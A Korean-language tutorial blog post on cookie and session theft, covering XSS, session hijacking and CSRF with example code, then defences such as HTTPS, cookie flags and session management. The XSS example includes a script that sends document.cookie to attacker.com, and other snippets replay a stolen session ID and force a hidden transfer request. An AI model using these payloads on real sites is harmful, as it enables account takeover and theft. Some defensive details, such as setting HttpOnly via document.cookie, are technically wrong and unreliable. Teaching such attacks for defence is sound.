“쿠키 세션 탈취: 웹 보안의 취약점과 방어 전략-1”

안녕하세요, 이번 포스팅 글에서는 쿠키 세션 탈취에 대해 알아보도록 하겠습니다.
쿠키와 세션은 웹 애플리케이션에서 사용자의 상태 정보를 유지하고 관리하는 데 중요한 역할을 합니다. 하지만 이러한 정보가 취약하게 관리될 경우 해커들이 이를 악용하여 사용자의 개인정보를 탈취할 수 있습니다.
이에 대비하여 보안에 주의를 기울이는 것이 중요합니다.

1. 쿠키(Cookie)란?

쿠키는 클라이언트(사용자) 측에 저장되는 작은 데이터 조각입니다. 웹 서버가 클라이언트에게 응답으로 쿠키를 전송하면, 해당 클라이언트의 브라우저는 쿠키를 저장합니다. 이후 클라이언트가 같은 웹 서버에 요청을 보낼 때마다 브라우저는 해당 서버로 저장된 쿠키를 함께 전송합니다.

쿠키는 사용자의 상태 정보를 유지하거나 웹 사이트의 선호 설정을 기억하는 데 사용됩니다. 예를 들어, 사용자가 로그인한 상태를 유지하기 위해 로그인 세션 ID를 쿠키에 저장하여 로그인 상태를 유지하는데 활용됩니다.

cookies

2. 세션(Session)이란?

세션은 쿠키와 마찬가지로 사용자의 상태 정보를 유지하는 데 사용되지만, 쿠키와 달리 서버 측에 저장됩니다. 사용자가 웹 서버에 처음 접속하면 서버는 고유한 세션 ID를 생성하여 사용자의 브라우저에 전달합니다. 이후 사용자가 웹 서버에 요청을 보낼 때마다 해당 세션 ID를 서버로 전달하여 사용자의 상태 정보를 유지합니다.

세션은 일정 기간동안 유지되며, 사용자가 로그아웃하거나 브라우저를 닫으면 세션은 종료됩니다. 보안상 취약성이 적으며, 쿠키보다 더 많은 데이터를 저장할 수 있으므로 보안에 더욱 신경 써야 합니다.

session


3. 쿠키와 세션의 차이점?

  • 저장 위치: 쿠키는 클라이언트(사용자) 측에 저장되고, 세션은 서버 측에 저장됩니다.
  • 용량: 쿠키는 작은 크기의 데이터만 저장할 수 있지만, 세션은 보다 많은 데이터를 저장할 수 있습니다.
  • 유효 기간: 쿠키는 설정한 만료 기간까지 유지되지만, 세션은 사용자가 로그아웃하거나 브라우저를 닫을 때까지 유지됩니다.

쿠키와 세션은 웹 애플리케이션에서 사용자 상태를 유지하고 개인화된 경험을 제공하는 데 중요한 역할을 합니다. 하지만 이러한 정보가 취약하게 관리될 경우, 해커들이 이를 악용하여 사용자의 개인정보를 탈취할 수 있으므로 보안에 항상 주의를 기울이는 것이 중요합니다.

4. 쿠키 세션 탈취란?

쿠키 세션 탈취는 해커가 웹 애플리케이션의 취약점을 이용하여 사용자의 세션 정보나 쿠키를 탈취하는 공격 방법을 의미합니다. 세션은 사용자가 로그인한 후 로그아웃할 때까지의 기간 동안 유지되는 정보를 담고 있으며, 쿠키는 클라이언트(사용자) 측에 저장되는 정보입니다. 이러한 정보가 탈취되면 해커는 사용자의 계정에 접근하여 불법적인 행동을 할 수 있습니다.

5. 쿠키 세션 탈취의 예시

가) XSS(Cross-Site Scripting) 공격

XSS는 웹 애플리케이션에서 발생하는 취약점으로, 해커가 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행되게 하는 공격입니다.

이로 인해 해커는 사용자의 정보를 탈취하거나 세션을 탈취하여 악의적인 행동을 할 수 있게 됩니다.

예시 코드:

예시를 들기 위해 웹 애플리케이션의 댓글 기능에서 발생하는 XSS 취약점을 살펴보겠습니다.

1. 취약한 댓글 입력 폼

<!-- 웹 애플리케이션 댓글 입력 폼 -->
<form action="/comments" method="post">
  <input type="text" name="comment" placeholder="댓글을 입력하세요...">
  <input type="submit" value="등록">
</form>

2. 해커의 악성 스크립트

해커는 댓글 입력 폼에 악성 스크립트를 삽입하여 사용자가 웹 페이지를 방문할 때 실행되도록 조작합니다.

<!-- 악의적인 댓글 입력 (해커가 입력한 내용) -->
<script>
  // 사용자의 쿠키를 탈취하는 악성 스크립트
  fetch("https://attacker.com/steal-cookie?cookie=" + document.cookie);
</script>

3. 사용자의 브라우저 실행 결과

사용자가 웹 페이지에 접속하여 댓글을 보려고 할 때, 해커가 삽입한 악성 스크립트가 실행됩니다. 이로 인해 사용자의 쿠키가 해커의 서버로 전송되어 탈취될 수 있습니다.

위 예시에서는 사용자의 쿠키를 탈취하는 악성 스크립트를 사용했지만, XSS 공격은 사용자의 세션 ID를 탈취하는 등 다양한 악의적인 목적으로 이용될 수 있습니다. 따라서 웹 애플리케이션 개발자들은 입력 폼에서 사용자로부터 받는 데이터를 적절하게 필터링하고 이스케이프(escape) 처리하여 XSS 공격을 방지하는 것이 중요합니다.

나) 세션 하이재킹(Session Hijacking)

세션 하이재킹은 해커가 사용자의 세션 ID를 탈취하여 해당 세션으로 위장하여 웹 애플리케이션에 접근하는 공격입니다. 해커가 네트워크 패킷을 가로채거나 중간자 공격을 통해 세션 ID를 획득할 수 있습니다.

이후 해당 세션 ID를 이용하여 사용자처럼 웹 애플리케이션에 접속하여 악의적인 행동을 할 수 있습니다.

예시 코드:

사용자의 세션 ID를 탈취하여 해당 세션으로 위장하는 간단한 예시 코드를 살펴보겠습니다.

// 해커가 탈취한 세션 ID
const hijackedSessionId = "ABC123456789";

// 해커가 탈취한 세션 ID를 사용하여 서버에 요청 보내기
const maliciousRequest = (url) => {
  fetch(url, {
    method: "GET",
    headers: {
      Cookie: `session_id=${hijackedSessionId}`,
    },
  })
    .then((response) => response.json())
    .then((data) => console.log(data))
    .catch((error) => console.error(error));
};

// 웹 애플리케이션 URL
const appUrl = "https://example.com/dashboard";

// 해커가 웹 애플리케이션으로 위장하여 요청 보내기
maliciousRequest(appUrl);

해커는 사용자의 세션 ID인 ABC123456789를 탈취하여 maliciousRequest 함수에서 해당 세션 ID를 사용하여 웹 애플리케이션에 요청을 보냅니다.

이로 인해 웹 애플리케이션은 해커를 사용자로 오인하고, 해커는 사용자의 권한으로 애플리케이션에 접근할 수 있게 됩니다.

다) CSRF(Cross-Site Request Forgery) 공격

CSRF 공격은 사용자가 의도하지 않은 요청을 웹 애플리케이션에 전송하는 공격입니다.

해커는 피해자의 브라우저에서 악의적인 요청을 실행시키도록 조작된 웹 사이트 링크를 클릭하게 만듭니다.

이를 통해 해커는 사용자의 세션 정보를 탈취할 수 있으며, 이후 해당 세션을 이용하여 사용자의 권한으로 애플리케이션에 접근할 수 있습니다.

예시 코드:

피해자가 로그인한 상태에서 의도하지 않은 CSRF 공격을 실행하는 예시 코드를 살펴보겠습니다.

<!-- 피해자가 방문하는 악의적인 웹 사이트 -->
<!-- 해커가 제작한 악의적인 이미지 태그를 포함하는 페이지 -->
<img src="https://example.com/transfer-funds?amount=1000" alt="이미지" style="display: none;" id="maliciousImage">

<!-- 피해자가 방문한 웹 사이트에 스크립트를 삽입 -->
<script>
  // 이미지 태그를 자동으로 실행시키는 함수
  function runMaliciousImage() {
    const img = document.getElementById("maliciousImage");
    img.onload = function () {
      // 이미지가 로드되면 해당 이미지가 서버로 요청을 보내도록 함
      console.log("피해자의 계좌에서 1000원을 해커의 계좌로 이체합니다.");
    };
    img.src = "https://example.com/transfer-funds?amount=1000";
  }

  // 피해자가 웹 사이트를 방문할 때 자동으로 위의 함수를 실행
  window.onload = runMaliciousImage;
</script>

피해자가 악의적인 웹 사이트를 방문하면, 위 코드에서 runMaliciousImage 함수가 자동으로 실행됩니다. 이로 인해 피해자의 브라우저에서 악의적인 요청이 실행되어 https://example.com/transfer-funds?amount=1000으로 1000원을 이체하게 됩니다.

이처럼 CSRF 공격은 피해자의 브라우저를 이용하여 악의적인 요청을 보내기 때문에, 사용자의 동의 없이도 공격을 수행할 수 있습니다. 따라서 웹 애플리케이션은 CSRF 방어를 위한 추가적인 보안 점검이 필요합니다.

3. 쿠키 세션 탈취 방지 방법

가) HTTPS 사용

HTTPS를 사용하여 데이터를 암호화하면 중간자 공격을 방지할 수 있습니다. 이로 인해 쿠키와 세션 정보가 안전하게 전송됩니다.

<!-- 웹 서버에서 HTTPS 설정 -->
<!-- 웹 서버 설정 파일 (예: Apache의 httpd.conf 파일) -->
<VirtualHost *:443>
  ServerName example.com
  DocumentRoot /var/www/html
  SSLEngine on
  SSLCertificateFile /path/to/certificate.crt
  SSLCertificateKeyFile /path/to/privatekey.key
</VirtualHost>

나) 쿠키에 Secure 및 HttpOnly 속성 사용

Secure 속성을 추가하면 쿠키가 HTTPS 프로토콜을 통해서만 전송되도록 하고, HttpOnly 속성을 추가하면 클라이언트 스크립트에서 쿠키에 접근하는 것을 막아 XSS 공격을 방지할 수 있습니다.

// 쿠키 생성 (Secure 속성과 HttpOnly 속성 추가)
document.cookie = "session_id=ABC123; Secure; HttpOnly; SameSite=Strict";

다) 세션 관리에 신경 쓰기

세션 ID를 임의로 생성하고, 적절한 만료 기간을 설정하여 세션을 안전하게 관리하는 것이 중요합니다. 또한 로그인 상태를 체크하는 등의 보안 점검을 수행하여 세션 하이재킹을 방지할 수 있습니다.

# 세션 ID 생성 (예: Python Flask 프레임워크 사용)
from flask import Flask, session
import uuid

app = Flask(__name__)
app.secret_key = "your_secret_key"

@app.route("/login", methods=["POST"])
def login():
    # 사용자 인증이 완료된 경우 세션에 유니크한 ID를 부여하여 세션 관리
    session["session_id"] = str(uuid.uuid4())
    # 로그인 이후에 다음 페이지로 이동
    return redirect("/dashboard")

쿠키와 세션은 웹 애플리케이션에서 사용자의 상태 정보를 관리하는 데 필수적인 요소이지만, 취약점이 존재할 경우 해커의 공격 대상이 될 수 있습니다. 따라서 웹 개발자들은 쿠키 세션 탈취에 대비하여 적절한 보안 대책을 마련하는 것이 중요합니다.

이상으로 쿠키 세션 탈취에 대한 내용을 다룬 포스팅을 마치겠습니다. 보다 안전한 웹 애플리케이션 운영을 위해 항상 보안에 주의를 기울이시기 바랍니다. 감사합니다.

출처: 1. 쿠키와 세션 (ft. HTTP의 비연결성과 비상태성) (hudi.blog) /
2.Cookies: I looked at 50 well-known websites and most are gathering our data illegally (theconversation.com)

댓글 남기기